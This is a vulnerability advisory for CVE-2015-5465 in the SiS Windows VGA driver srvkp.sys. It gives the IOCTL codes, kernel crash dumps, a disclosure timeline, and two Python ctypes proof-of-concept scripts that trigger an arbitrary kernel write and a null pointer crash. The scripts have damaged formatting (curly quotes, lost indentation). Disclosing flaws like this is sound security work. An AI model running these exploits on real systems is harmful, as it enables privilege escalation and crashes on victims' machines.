Vulnerability Details

Affected Vendor: Silicon Integrated Systems Corporation
Affected Product: Windows VGA Display Manager
Affected Version: 6.14.10.3930
Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where condition
Impact: Arbitrary Code Execution
Attack vector: IOCTL
CVE-ID: CVE-2015-5465

Vulnerability Description

Vulnerabilities within the srvkp module allows an attacker
to inject memory they control into an arbitrary location
they define or cause memory corruption. IOCTL request codes
0x96002400 and 0x96002404 have been demonstrated to trigger
these vulnerabilities. These vulnerabilities can be used
to obtain control of code flow in a privileged process and
ultimately be used to escalate the privilege of an attacker.

Technical Description

Example against Windows XP:

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0

•                                                                         *
  

•                    Bugcheck Analysis                                    *
  

•                                                                         *
  

Use !analyze -v to get detailed debugging information.
BugCheck 50, {ffff0000, 1, 804f3b76, 0}
Probably caused by : srvkp.sys ( srvkp+3329 )
Followup: MachineOwner

kd> kn
Call stack: # ChildEBP RetAddr
00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
09 f6a52c34 804ee129 srvkp+0x3329
0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
15 0021f6c0 1e07bd9c _ctypes+0x54d8
16 00000000 00000000 python27!PyObject_Call+0x4c

Example against Windows 7:

Microsoft ® Windows Debugger Version 6.2.9200.20512 X86
Copyright © Microsoft Corporation. All rights reserved.

Loading Dump File [C:\Windows\MEMORY.DMP]
Kernel Summary Dump File: Only kernel address space is available

Symbol search path is: *** Invalid***

• Symbol loading may be unreliable without a symbol search path. *
• Use .symfix to have the debugger choose a symbol path. *
• After setting your symbol path, use .reload to refresh symbol locations. *

Executable search path is:

• Symbols can not be loaded because symbol path is not initialized. *

•                                                               *
  

• The Symbol Path can be set by: *
• using the _NT_SYMBOL_PATH environment variable. *
• using the -y <symbol_path> argument when starting the debugger. *
• using .sympath and .sympath+ *
  ********************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe -
  Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible
  Product: WinNt, suite: TerminalServer SingleUserTS
  Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
  Machine Name:
  Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
  Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
  System Uptime: 0 days 11:46:55.313

• Symbols can not be loaded because symbol path is not initialized. *

•                                                               *
  

• The Symbol Path can be set by: *
• using the _NT_SYMBOL_PATH environment variable. *
• using the -y <symbol_path> argument when starting the debugger. *
• using .sympath and .sympath+ *
  ********************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe -
  Loading Kernel Symbols
  …
  …
  …
  Loading User Symbols
  PEB is paged out (Peb.Ldr = 7ffd400c). Type “.hh dbgerr001” for details
  Loading unloaded module list
  …

•                                                                         *
  

•                    Bugcheck Analysis                                    *
  

•                                                                         *
  

Use !analyze -v to get detailed debugging information.

BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0}

***** Kernel symbols are WRONG. Please fix symbols to do analysis.
…
…
…

Followup: MachineOwner

kd> .symfix;.reload
Loading Kernel Symbols
…
…
…
Loading User Symbols
PEB is paged out (Peb.Ldr = 7ffd400c). Type “.hh dbgerr001” for details
Loading unloaded module list
…
kd> !analyze -v

•                                                                         *
  

•                    Bugcheck Analysis                                    *
  

•                                                                         *
  

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but …
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: ac08f2fa, The address that the exception occurred at
Arg3: 93df4a50, Trap Frame
Arg4: 00000000

Debugging Details:

*** ERROR: Module load completed but symbols could not be loaded for srvkp.sys

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP:
srvkp+32fa
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4]

TRAP_FRAME: 93df4a50 – (.trap 0xffffffff93df4a50)
ErrCode = 00000000
eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140 edi=d68fc588
eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
srvkp+0x32fa:
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] ds:0023:00000004=???
Resetting default scope

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

BUGCHECK_STR: 0x8E

PROCESS_NAME: python.exe

CURRENT_IRQL: 0

LAST_CONTROL_TRANSFER: from 82ac708c to 82af0f20

STACK_TEXT:
93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e
93df49e0 82a50dd6 93df49fc 00000000 93df4a50 nt!KiDispatchException+0x1ac
93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00 nt!CommonDispatchException+0x4a
93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x192
93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63
93df4b34 82c40b71 85644140 d68fc588 00000000 nt!IopSynchronousServiceTail+0x1f8
93df4bd0 82c873f4 85644140 869fb048 00000000 nt!IopXxxControlFile+0x6aa
93df4c04 82a501ea 00000088 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x12a
WARNING: Frame IP not in any known module. Following frames may be wrong.
0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4

STACK_COMMAND: kb

FOLLOWUP_IP:
srvkp+32fa
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4]

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: srvkp+32fa

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: srvkp

IMAGE_NAME: srvkp.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 4cc65532

FAILURE_BUCKET_ID: 0x8E_srvkp+32fa

BUCKET_ID: 0x8E_srvkp+32fa

Followup: MachineOwner

Mitigation and Remediation Recommendation

No response from vendor; no remediation available.

Credit

This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.

Disclosure Timeline

2015.05.14 - Initial contact; requested security contact.
2015.05.18 - Second contact attempt.
2015.05.25 - Third contact attempt.
2015.07.02 - KoreLogic requests CVE from Mitre.
2015.07.10 - Mitre issues CVE-2015-5465.
2015.07.28 - 45 business days have elapsed since KoreLogic last
attempted to contact SiS without a response.
2015.09.01 - Public disclosure.

Proof of Concept

Arbitrary Write (Windows XP)

from sys import exit
from ctypes import *
NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
WriteProcessMemory = windll.kernel32.WriteProcessMemory
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None

device = “siskp”
code = 0x96002404
inlen = 0xe6b6
outlen = 0x0
inbuf = 0x1
outbuf = 0xffff0000
inBufMem = “\x90”*inlen

def main():
try:
handle = CreateFileA(“\\.\%s” % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print “[-] error creating handle”
exit(1)
except Exception as e:
print “[-] error creating handle”
exit(1)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen)
CloseHandle(handle)
return False

if name==“main”:
main()

and

Null Pointer Dereference (Windows XP/7)

from sys import exit
from ctypes import *
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None

device = “siskp”
code = 0x96002400

def main():
try:
handle = CreateFileA(“\\.\%s” % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print “[-] error creating handle”
exit(1)
except Exception as e:
print “[-] error creating handle”
exit(1)
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0,0x0)
CloseHandle(handle)
return False

if name==“main”:
main()